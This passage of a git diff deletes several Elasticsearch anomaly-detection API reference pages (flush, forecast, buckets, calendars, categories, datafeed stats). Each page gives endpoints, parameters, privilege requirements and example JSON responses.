-[role="xpack"]
-[testenv="platinum"]
-[[ml-flush-job]]
-= Flush jobs API
-++++
-<titleabbrev>Flush jobs</titleabbrev>
-++++
-
-Forces any buffered data to be processed by the job.
-
-[[ml-flush-job-request]]
-== {api-request-title}
-
-`POST _ml/anomaly_detectors/<job_id>/_flush`
-
-[[ml-flush-job-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-flush-job-desc]]
-== {api-description-title}
-
-The flush jobs API is only applicable when sending data for analysis using the
-<<ml-post-data,post data API>>. Depending on the content of the buffer, then it
-might additionally calculate new results.
-
-Both flush and close operations are similar, however the flush is more efficient
-if you are expecting to send more data for analysis. When flushing, the job
-remains open and is available to continue analyzing data. A close operation
-additionally prunes and persists the model state to disk and the job must be
-opened again before analyzing further data.
-
-[[ml-flush-job-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-[[ml-flush-job-query-parms]]
-== {api-query-parms-title}
-
-`advance_time`::
-  (string) Optional. Specifies to advance to a particular time value. Results are
-  generated and the model is updated for data from the specified time interval.
-
-`calc_interim`::
-  (Boolean) Optional. If true, calculates the interim results for the most
-  recent bucket or all buckets within the latency period.
-
-`end`::
-  (string) Optional. When used in conjunction with `calc_interim`, specifies the
-  range of buckets on which to calculate interim results.
-
-`skip_time`::
-  (string) Optional. Specifies to skip to a particular time value. Results are
-  not generated and the model is not updated for data from the specified time
-  interval.
-
-`start`::
-  (string) Optional. When used in conjunction with `calc_interim`, specifies the
-  range of buckets on which to calculate interim results.
-
-[[ml-flush-job-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _ml/anomaly_detectors/total-requests/_flush
-{
-  "calc_interim": true
-}
---------------------------------------------------
-// TEST[skip:setup:server_metrics_openjob]
-
-When the operation succeeds, you receive the following results:
-
-[source,console-result]
-----
-{
-  "flushed": true,
-  "last_finalized_bucket_end": 1455234900000
-}
-----
-//TESTRESPONSE[s/"last_finalized_bucket_end": 1455234900000/"last_finalized_bucket_end": $body.last_finalized_bucket_end/]
-
-The `last_finalized_bucket_end` provides the timestamp (in
-milliseconds-since-the-epoch) of the end of the last bucket that was processed.
-
-If you want to flush the job to a specific timestamp, you can use the
-`advance_time` or `skip_time` parameters.  For example, to advance to 11 AM GMT
-on January 1, 2018:
-
-[source,console]
---------------------------------------------------
-POST _ml/anomaly_detectors/total-requests/_flush
-{
-  "advance_time": "1514804400000"
-}
---------------------------------------------------
-// TEST[skip:setup:server_metrics_openjob]
-
-When the operation succeeds, you receive the following results:
-
-[source,console-result]
-----
-{
-  "flushed": true,
-  "last_finalized_bucket_end": 1514804400000
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/forecast.asciidoc b/docs/reference/ml/anomaly-detection/apis/forecast.asciidoc
deleted file mode 100644
index 2e92b278a9c..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/forecast.asciidoc
+++ /dev/null
@@ -1,95 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-forecast]]
-= Forecast jobs API
-++++
-<titleabbrev>Forecast jobs</titleabbrev>
-++++
-
-Predicts the future behavior of a time series by using its historical behavior. 
-
-[[ml-forecast-request]]
-== {api-request-title}
-
-`POST _ml/anomaly_detectors/<job_id>/_forecast`
-
-[[ml-forecast-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-forecast-desc]]
-== {api-description-title}
-
-You can create a forecast job based on an {anomaly-job} to extrapolate future 
-behavior. Refer to
-{ml-docs}/ml-overview.html#ml-forecasting[Forecasting the future] and 
-{ml-docs}/ml-limitations.html#ml-forecast-limitations[forecast limitations] to 
-learn more.
-
-You can delete a forecast by using the 
-<<ml-delete-forecast,Delete forecast API>>.
-
-[NOTE]
-===============================
-
-* If you use an `over_field_name` property in your job, you cannot create a
-forecast. For more information about this property, see <<ml-put-job>>.
-* The job must be open when you create a forecast. Otherwise, an error occurs.
-===============================
-
-[[ml-forecast-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-[[ml-forecast-request-body]]
-== {api-request-body-title}
-
-`duration`::
-  (Optional, <<time-units, time units>>) A period of time that indicates how far 
-  into the future to forecast. For example, `30d` corresponds to 30 days. The 
-  default value is 1 day. The forecast starts at the last record that was 
-  processed.
-
-`expires_in`::
-  (Optional, <<time-units, time units>>) The period of time that forecast 
-  results are retained. After a forecast expires, the results are deleted. The 
-  default value is 14 days. If set to a value of `0`, the forecast is never 
-  automatically deleted.
-
-`max_model_memory`::
-  (Optional, <<byte-units,byte value>>) The maximum memory the forecast can use.
-  If the forecast needs to use more than the provided amount, it will spool to
-  disk. Default is 20mb, maximum is 500mb and minimum is 1mb. If set to 40% or
-  more of the job's configured memory limit, it is automatically reduced to
-  below that amount.
-
-[[ml-forecast-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _ml/anomaly_detectors/total-requests/_forecast
-{
-  "duration": "10d"
-}
---------------------------------------------------
-// TEST[skip:requires delay]
-
-When the forecast is created, you receive the following results:
-[source,js]
-----
-{
-  "acknowledged": true,
-  "forecast_id": "wkCWa2IB2lF8nSE_TzZo"
-}
-----
-// NOTCONSOLE
-
-You can subsequently see the forecast in the *Single Metric Viewer* in {kib}.
-
diff --git a/docs/reference/ml/anomaly-detection/apis/get-bucket.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-bucket.asciidoc
deleted file mode 100644
index 77cc43738d9..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/get-bucket.asciidoc
+++ /dev/null
@@ -1,222 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-get-bucket]]
-= Get buckets API
-++++
-<titleabbrev>Get buckets</titleabbrev>
-++++
-
-Retrieves {anomaly-job} results for one or more buckets.
-
-[[ml-get-bucket-request]]
-== {api-request-title}
-
-`GET _ml/anomaly_detectors/<job_id>/results/buckets` +
-
-`GET _ml/anomaly_detectors/<job_id>/results/buckets/<timestamp>`
-
-[[ml-get-bucket-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. You also
-need `read` index privilege on the index that stores the results. The
-`machine_learning_admin` and `machine_learning_user` roles provide these
-privileges. For more information, see <<security-privileges>>,
-<<built-in-roles>>, and {ml-docs-setup-privileges}.
-
-[[ml-get-bucket-desc]]
-== {api-description-title}
-
-The get buckets API presents a chronological view of the records, grouped by
-bucket.
-
-[[ml-get-bucket-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`<timestamp>`::
-(Optional, string) The timestamp of a single bucket result. If you do not
-specify this parameter, the API returns information about all buckets.
-
-[[ml-get-bucket-request-body]]
-== {api-request-body-title}
-
-`anomaly_score`::
-(Optional, double) Returns buckets with anomaly scores greater or equal than
-this value.
-
-`desc`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=desc-results]
-
-`end`::
-(Optional, string) Returns buckets with timestamps earlier than this time.
-
-`exclude_interim`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=exclude-interim-results]
-
-`expand`::
-(Optional, Boolean) If true, the output includes anomaly records.
-
-`page`.`from`::
-(Optional, integer) Skips the specified number of buckets.
-
-`page`.`size`::
-(Optional, integer) Specifies the maximum number of buckets to obtain.
-
-`sort`::
-(Optional, string) Specifies the sort field for the requested buckets. By
-default, the buckets are sorted by the `timestamp` field.
-
-`start`::
-(Optional, string) Returns buckets with timestamps after this time.
-
-[role="child_attributes"]
-[[ml-get-bucket-results]]
-== {api-response-body-title}
-
-The API returns an array of bucket objects, which have the following properties:
-
-`anomaly_score`::
-(number) The maximum anomaly score, between 0-100, for any of the bucket
-influencers. This is an overall, rate-limited score for the job. All the anomaly
-records in the bucket contribute to this score. This value might be updated as
-new data is analyzed.
-
-`bucket_influencers`::
-(array) An array of bucket influencer objects.
-+
-.Properties of `bucket_influencers`
-[%collapsible%open]
-====
-`anomaly_score`:::
-(number) A normalized score between 0-100, which is calculated for each bucket
-influencer. This score might be updated as newer data is analyzed.
-
-`bucket_span`:::
-(number)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-span-results]
-
-`initial_anomaly_score`:::
-(number) The score between 0-100 for each bucket influencer. This score is the
-initial value that was calculated at the time the bucket was processed.
-
-`influencer_field_name`:::
-(string) The field name of the influencer.
-
-`influencer_field_value`:::
-(string) The field value of the influencer.
-
-`is_interim`:::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=is-interim]
-
-`job_id`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`probability`:::
-(number) The probability that the bucket has this behavior, in the range 0 to 1.
-This value can be held to a high precision of over 300 decimal places, so the 
-`anomaly_score` is provided as a human-readable and friendly interpretation of
-this.
-
-`raw_anomaly_score`:::
-(number) Internal.
-
-`result_type`:::
-(string) Internal. This value is always set to `bucket_influencer`.
-
-`timestamp`:::
-(date) The start time of the bucket for which these results were calculated.
-====
-
-`bucket_span`::
-(number)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-span-results]
-
-`event_count`::
-(number) The number of input data records processed in this bucket.
-
-`initial_anomaly_score`::
-(number) The maximum `anomaly_score` for any of the bucket influencers. This is
-the initial value that was calculated at the time the bucket was processed.
-
-`is_interim`::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=is-interim]
-
-`job_id`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`processing_time_ms`::
-(number) The amount of time, in milliseconds, that it took to analyze the bucket 
-contents and calculate results.
-
-`result_type`::
-(string) Internal. This value is always set to `bucket`.
-
-`timestamp`::
-(date) The start time of the bucket. This timestamp uniquely identifies the
-bucket.
-+
---
-NOTE: Events that occur exactly at the timestamp of the bucket are included in
-the results for the bucket.
-
---
-
-[[ml-get-bucket-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _ml/anomaly_detectors/low_request_rate/results/buckets
-{
-  "anomaly_score": 80,
-  "start": "1454530200001"
-}
---------------------------------------------------
-// TEST[skip:Kibana sample data]
-
-In this example, the API returns a single result that matches the specified
-score and time constraints:
-[source,js]
-----
-{
-  "count" : 1,
-  "buckets" : [
-    {
-      "job_id" : "low_request_rate",
-      "timestamp" : 1578398400000,
-      "anomaly_score" : 91.58505459594764,
-      "bucket_span" : 3600,
-      "initial_anomaly_score" : 91.58505459594764,
-      "event_count" : 0,
-      "is_interim" : false,
-      "bucket_influencers" : [
-        {
-          "job_id" : "low_request_rate",
-          "result_type" : "bucket_influencer",
-          "influencer_field_name" : "bucket_time",
-          "initial_anomaly_score" : 91.58505459594764,
-          "anomaly_score" : 91.58505459594764,
-          "raw_anomaly_score" : 0.5758246639716365,
-          "probability" : 1.7340849573442696E-4,
-          "timestamp" : 1578398400000,
-          "bucket_span" : 3600,
-          "is_interim" : false
-        }
-      ],
-      "processing_time_ms" : 0,
-      "result_type" : "bucket"
-    }
-  ]
-}
-----
\ No newline at end of file
diff --git a/docs/reference/ml/anomaly-detection/apis/get-calendar-event.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-calendar-event.asciidoc
deleted file mode 100644
index 3f3516f9e2c..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/get-calendar-event.asciidoc
+++ /dev/null
@@ -1,125 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-get-calendar-event]]
-= Get scheduled events API
-++++
-<titleabbrev>Get scheduled events</titleabbrev>
-++++
-
-Retrieves information about the scheduled events in calendars.
-
-[[ml-get-calendar-event-request]]
-== {api-request-title}
-
-`GET _ml/calendars/<calendar_id>/events` +
-
-`GET _ml/calendars/_all/events`
-
-[[ml-get-calendar-event-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-get-calendar-event-desc]]
-== {api-description-title}
-
-You can get scheduled event information for multiple calendars in a single
-API request by using a comma-separated list of ids or a wildcard expression.
-You can get scheduled event information for all calendars by using `_all`,
-by specifying `*` as the `<calendar_id>`, or by omitting the `<calendar_id>`.
-
-For more information, see
-{ml-docs}/ml-calendars.html[Calendars and scheduled events].
-
-[[ml-get-calendar-event-path-parms]]
-== {api-path-parms-title}
-
-`<calendar_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=calendar-id]
-
-[[ml-get-calendar-event-request-body]]
-== {api-request-body-title}
-
-`end`::
-(Optional, string) Specifies to get events with timestamps earlier than this
-time.
-
-`from`::
-(Optional, integer) Skips the specified number of events.
-
-`size`::
-(Optional, integer) Specifies the maximum number of events to obtain.
-
-`start`::
-(Optional, string) Specifies to get events with timestamps after this time.
-
-[[ml-get-calendar-event-results]]
-== {api-response-body-title}
-
-The API returns an array of scheduled event resources, which have the
-following properties:
-
-`calendar_id`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=calendar-id]
-
-`description`::
-(string) A description of the scheduled event.
-
-`end_time`::
-(date) The timestamp for the end of the scheduled event in milliseconds since
-the epoch or ISO 8601 format.
-
-`event_id`::
-(string) An automatically-generated identifier for the scheduled event.
-
-`start_time`::
-(date) The timestamp for the beginning of the scheduled event in milliseconds
-since the epoch or ISO 8601 format.
-
-[[ml-get-calendar-event-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _ml/calendars/planned-outages/events
---------------------------------------------------
-// TEST[skip:setup:calendar_outages_addevent]
-
-The API returns the following results:
-
-[source,console-result]
-----
-{
-  "count": 3,
-  "events": [
-    {
-      "description": "event 1",
-      "start_time": 1513641600000,
-      "end_time": 1513728000000,
-      "calendar_id": "planned-outages",
-      "event_id": "LS8LJGEBMTCMA-qz49st"
-    },
-    {
-      "description": "event 2",
-      "start_time": 1513814400000,
-      "end_time": 1513900800000,
-      "calendar_id": "planned-outages",
-      "event_id": "Li8LJGEBMTCMA-qz49st"
-    },
-    {
-      "description": "event 3",
-      "start_time": 1514160000000,
-      "end_time": 1514246400000,
-      "calendar_id": "planned-outages",
-      "event_id": "Ly8LJGEBMTCMA-qz49st"
-    }
-  ]
-}
-----
-// TESTRESPONSE[s/LS8LJGEBMTCMA-qz49st/$body.$_path/]
-// TESTRESPONSE[s/Li8LJGEBMTCMA-qz49st/$body.$_path/]
-// TESTRESPONSE[s/Ly8LJGEBMTCMA-qz49st/$body.$_path/]
diff --git a/docs/reference/ml/anomaly-detection/apis/get-calendar.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-calendar.asciidoc
deleted file mode 100644
index 7b4e5bbe12b..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/get-calendar.asciidoc
+++ /dev/null
@@ -1,89 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-get-calendar]]
-= Get calendars API
-++++
-<titleabbrev>Get calendars</titleabbrev>
-++++
-
-Retrieves configuration information for calendars.
-
-[[ml-get-calendar-request]]
-== {api-request-title}
-
-`GET _ml/calendars/<calendar_id>` +
-
-`GET _ml/calendars/_all`
-
-[[ml-get-calendar-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-get-calendar-desc]]
-== {api-description-title}
-
-You can get information for multiple calendars in a single API request by using a
-comma-separated list of ids or a wildcard expression. You can get
-information for all calendars by using `_all`, by specifying `*` as the
-`<calendar_id>`, or by omitting the `<calendar_id>`.
-
-For more information, see
-{ml-docs}/ml-calendars.html[Calendars and scheduled events].
-
-[[ml-get-calendar-path-parms]]
-== {api-path-parms-title}
-
-`<calendar_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=calendar-id]
-
-[[ml-get-calendar-request-body]]
-== {api-request-body-title}
-
-`page`.`from`::
-(Optional, integer) Skips the specified number of calendars.
-
-`page`.`size`::
-(Optional, integer) Specifies the maximum number of calendars to obtain.
-
-[[ml-get-calendar-results]]
-== {api-response-body-title}
-
-The API returns an array of calendar resources, which have the following
-properties:
-
-`calendar_id`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=calendar-id]
-
-`job_ids`::
-(array) An array of {anomaly-job} identifiers. For example: `["total-requests"]`.
-
-[[ml-get-calendar-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _ml/calendars/planned-outages
---------------------------------------------------
-// TEST[skip:setup:calendar_outages_addjob]
-
-The API returns the following results:
-
-[source,console-result]
-----
-{
-  "count": 1,
-  "calendars": [
-    {
-      "calendar_id": "planned-outages",
-      "job_ids": [
-        "total-requests"
-      ]
-    }
-  ]
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/get-category.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-category.asciidoc
deleted file mode 100644
index e98bd282b9a..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/get-category.asciidoc
+++ /dev/null
@@ -1,164 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-get-category]]
-= Get categories API
-++++
-<titleabbrev>Get categories</titleabbrev>
-++++
-
-Retrieves {anomaly-job} results for one or more categories.
-
-[[ml-get-category-request]]
-== {api-request-title}
-
-`GET _ml/anomaly_detectors/<job_id>/results/categories` +
-
-`GET _ml/anomaly_detectors/<job_id>/results/categories/<category_id>`
-
-[[ml-get-category-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. You also
-need `read` index privilege on the index that stores the results. The
-`machine_learning_admin` and `machine_learning_user` roles provide these
-privileges. See <<security-privileges>>, <<built-in-roles>>, and
-{ml-docs-setup-privileges}.
-
-[[ml-get-category-desc]]
-== {api-description-title}
-
-When `categorization_field_name` is specified in the job configuration, it is
-possible to view the definitions of the resulting categories. A category
-definition describes the common terms matched and contains examples of matched
-values.
-
-The anomaly results from a categorization analysis are available as bucket,
-influencer, and record results. For example, the results might indicate that
-at 16:45 there was an unusual count of log message category 11. You can then
-examine the description and examples of that category. For more information, see
-{ml-docs}/ml-configuring-categories.html[Categorizing log messages].
-
-[[ml-get-category-path-parms]]
-== {api-path-parms-title}
-
-`<category_id>`::
-(Optional, long) Identifier for the category, which is unique in the job. If you
-specify neither the category ID nor the `partition_field_value`, the API returns
-information about all categories. If you specify only the
-`partition_field_value`, it returns information about all categories for the
-specified partition.
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-[[ml-get-category-request-body]]
-== {api-request-body-title}
-
-`page`.`from`::
-(Optional, integer) Skips the specified number of categories.
-
-`page`.`size`::
-(Optional, integer) Specifies the maximum number of categories to obtain.
-
-`partition_field_value`::
-(Optional, string) Only return categories for the specified partition.
-
-[[ml-get-category-results]]
-== {api-response-body-title}
-
-The API returns an array of category objects, which have the following
-properties:
-
-`category_id`::
-(unsigned integer) A unique identifier for the category. `category_id` is unique
-at the job level, even when per-partition categorization is enabled.
-
-
-`examples`::
-(array) A list of examples of actual values that matched the category.
-
-`grok_pattern`::
-experimental[] (string) A Grok pattern that could be used in {ls} or an ingest
-pipeline to extract fields from messages that match the category. This field is
-experimental and may be changed or removed in a future release. The Grok
-patterns that are found are not optimal, but are often a good starting point for
-manual tweaking.
-
-`job_id`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`max_matching_length`::
-(unsigned integer) The maximum length of the fields that matched the category.
-The value is increased by 10% to enable matching for similar fields that have
-not been analyzed.
-
-// This doesn't use the shared description because there are
-// categorization-specific aspects to its use in this context
-`partition_field_name`::
-(string) If per-partition categorization is enabled, this property identifies
-the field used to segment the categorization. It is not present when
-per-partition categorization is disabled.
-
-`partition_field_value`::
-(string) If per-partition categorization is enabled, this property identifies
-the value of the `partition_field_name` for the category. It is not present when
-per-partition categorization is disabled.
-
-`regex`::
-(string) A regular expression that is used to search for values that match the
-category.
-
-`terms`::
-(string) A space separated list of the common tokens that are matched in values
-of the category.
-
-`num_matches`::
-(long) The number of messages that have been matched by this category. This is
-only guaranteed to have the latest accurate count after a job `_flush` or `_close`
-
-`preferred_to_categories`::
-(list) A list of `category_id` entries that this current category encompasses.
-Any new message that is processed by the categorizer will match against this
-category and not any of the categories in this list. This is only guaranteed
-to have the latest accurate list of categories after a job `_flush` or `_close`
-
-[[ml-get-category-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _ml/anomaly_detectors/esxi_log/results/categories
-{
-  "page":{
-    "size": 1
-  }
-}
---------------------------------------------------
-// TEST[skip:todo]
-
-In this example, the API returns the following information:
-[source,js]
-----
-{
-  "count": 11,
-  "categories": [
-    {
-      "job_id" : "esxi_log",
-      "category_id" : 1,
-      "terms" : "Vpxa verbose vpxavpxaInvtVm opID VpxaInvtVmChangeListener Guest DiskInfo Changed",
-      "regex" : ".*?Vpxa.+?verbose.+?vpxavpxaInvtVm.+?opID.+?VpxaInvtVmChangeListener.+?Guest.+?DiskInfo.+?Changed.*",
-      "max_matching_length": 154,
-      "examples" : [
-        "Oct 19 17:04:44 esxi1.acme.com Vpxa: [3CB3FB90 verbose 'vpxavpxaInvtVm' opID=WFU-33d82c31] [VpxaInvtVmChangeListener] Guest DiskInfo Changed",
-        "Oct 19 17:04:45 esxi2.acme.com Vpxa: [3CA66B90 verbose 'vpxavpxaInvtVm' opID=WFU-33927856] [VpxaInvtVmChangeListener] Guest DiskInfo Changed",
-        "Oct 19 17:04:51 esxi1.acme.com Vpxa: [FFDBAB90 verbose 'vpxavpxaInvtVm' opID=WFU-25e0d447] [VpxaInvtVmChangeListener] Guest DiskInfo Changed",
-        "Oct 19 17:04:58 esxi2.acme.com Vpxa: [FFDDBB90 verbose 'vpxavpxaInvtVm' opID=WFU-bbff0134] [VpxaInvtVmChangeListener] Guest DiskInfo Changed"
-      ],
-      "grok_pattern" : ".*?%{SYSLOGTIMESTAMP:timestamp}.+?Vpxa.+?%{BASE16NUM:field}.+?verbose.+?vpxavpxaInvtVm.+?opID.+?VpxaInvtVmChangeListener.+?Guest.+?DiskInfo.+?Changed.*"
-    }
-  ]
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/get-datafeed-stats.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-datafeed-stats.asciidoc
deleted file mode 100644
index d002973b8f6..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/get-datafeed-stats.asciidoc
+++ /dev/null
@@ -1,195 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-get-datafeed-stats]]
-= Get {dfeed} statistics API
-
-[subs="attributes"]
-++++
-<titleabbrev>Get {dfeed} statistics</titleabbrev>
-++++
-
-Retrieves usage information for {dfeeds}.
-
-[[ml-get-datafeed-stats-request]]
-== {api-request-title}
-
-`GET _ml/datafeeds/<feed_id>/_stats` +
-
-`GET _ml/datafeeds/<feed_id>,<feed_id>/_stats` +
-
-`GET _ml/datafeeds/_stats`  +
-
-`GET _ml/datafeeds/_all/_stats` 
-
-[[ml-get-datafeed-stats-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-get-datafeed-stats-desc]]
-== {api-description-title}
-
-You can get statistics for multiple {dfeeds} in a single API request by using a
-comma-separated list of {dfeeds} or a wildcard expression. You can get
-statistics for all {dfeeds} by using `_all`, by specifying `*` as the
-`<feed_id>`, or by omitting the `<feed_id>`.
-
-If the {dfeed} is stopped, the only information you receive is the
-`datafeed_id` and the `state`.
-
-IMPORTANT: This API returns a maximum of 10,000 {dfeeds}.
-
-[[ml-get-datafeed-stats-path-parms]]
-== {api-path-parms-title}
-
-`<feed_id>`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=datafeed-id-wildcard]
-+
---
-If you do not specify one of these options, the API returns information about
-all {dfeeds}.
---
-
-[[ml-get-datafeed-stats-query-parms]]
-== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-no-datafeeds]
-
-[role="child_attributes"]
-[[ml-get-datafeed-stats-results]]
-== {api-response-body-title}
-
-The API returns an array of {dfeed} count objects. All of these properties are
-informational; you cannot update their values.
-
-`assignment_explanation`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=assignment-explanation-datafeeds]
-
-`datafeed_id`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=datafeed-id]
-
-`node`::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-datafeeds]
-+
---
-[%collapsible%open]
-====
-`attributes`:::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-attributes]
-
-`ephemeral_id`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-ephemeral-id]
-
-`id`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-id]
-
-`name`:::
-(string)
-The node name. For example, `0-o0tOo`.
-
-`transport_address`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-transport-address]
-====
---
-
-`state`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=state-datafeed]
-
-`timing_stats`::
-(object) An object that provides statistical information about timing aspect of
-this {dfeed}.
-+
---
-[%collapsible%open]
-====
-`average_search_time_per_bucket_ms`:::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=search-bucket-avg]
-
-`bucket_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-count]
-
-`exponential_average_search_time_per_hour_ms`:::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=search-exp-avg-hour]
-
-`job_id`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`search_count`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=search-count]
-
-`total_search_time_ms`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=search-time]
-====
---
-
-
-[[ml-get-datafeed-stats-response-codes]]
-== {api-response-codes-title}
-
-`404` (Missing resources)::
-  If `allow_no_match` is `false`, this code indicates that there are no
-  resources that match the request or only partial matches for the request. 
-
-[[ml-get-datafeed-stats-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _ml/datafeeds/datafeed-high_sum_total_sales/_stats
---------------------------------------------------
-// TEST[skip:Kibana sample data started datafeed]
-
-The API returns the following results:
-
-[source,console-result]
-----
-{
-  "count": 1,
-  "datafeeds": [
-    {
-      "datafeed_id": "datafeed-high_sum_total_sales",
-      "state": "started",
-      "node": {
-        "id": "2spCyo1pRi2Ajo-j-_dnPX",
-        "name": "node-0",
-        "ephemeral_id": "hoXMLZB0RWKfR9UPPUCxXX",
-        "transport_address": "127.0.0.1:9300",
-        "attributes": {
-          "ml.machine_memory": "17179869184",
-          "ml.max_open_jobs": "20"
-        }
-      },
-      "assignment_explanation": "",
-      "timing_stats": {
-        "job_id" : "high_sum_total_sales",
-         "search_count" : 27,
-         "bucket_count" : 619,
-         "total_search_time_ms" : 296.0,
-         "average_search_time_per_bucket_ms" : 0.4781906300484653,
-         "exponential_average_search_time_per_hour_ms" : 33.28246548059884
-      }
-    }
-  ]
-}
-----
-// TESTRESPONSE[s/"2spCyo1pRi2Ajo-j-_dnPX"/$body.$_path/]
-// TESTRESPONSE[s/"node-0"/$body.$_path/]
-// TESTRESPONSE[s/"hoXMLZB0RWKfR9UPPUCxXX"/$body.$_path/]
-// TESTRESPONSE[s/"127.0.0.1:9300"/$body.$_path/]
-// TESTRESPONSE[s/"17179869184"/$body.datafeeds.0.node.attributes.ml\\.machine_memory/]
diff --git a/docs/reference/ml/anomaly-detection/apis/get-datafeed.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-datafeed.asciidoc
deleted file mode 100644
index e622609df48..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/get-datafeed.asciidoc
+++ /dev/null
@@ -1,117 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-get-datafeed]]
-= Get {dfeeds} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Get {dfeeds}</titleabbrev>
-++++
-
-Retrieves configuration information for {dfeeds}.
-
-[[ml-get-datafeed-request]]
-== {api-request-title}
-
-`GET _ml/datafeeds/<feed_id>` +
-
-`GET _ml/datafeeds/<feed_id>,<feed_id>` +
-
-`GET _ml/datafeeds/` +
-
-`GET _ml/datafeeds/_all` 
-
-[[ml-get-datafeed-prereqs]]
-== {api-prereq-title}
-
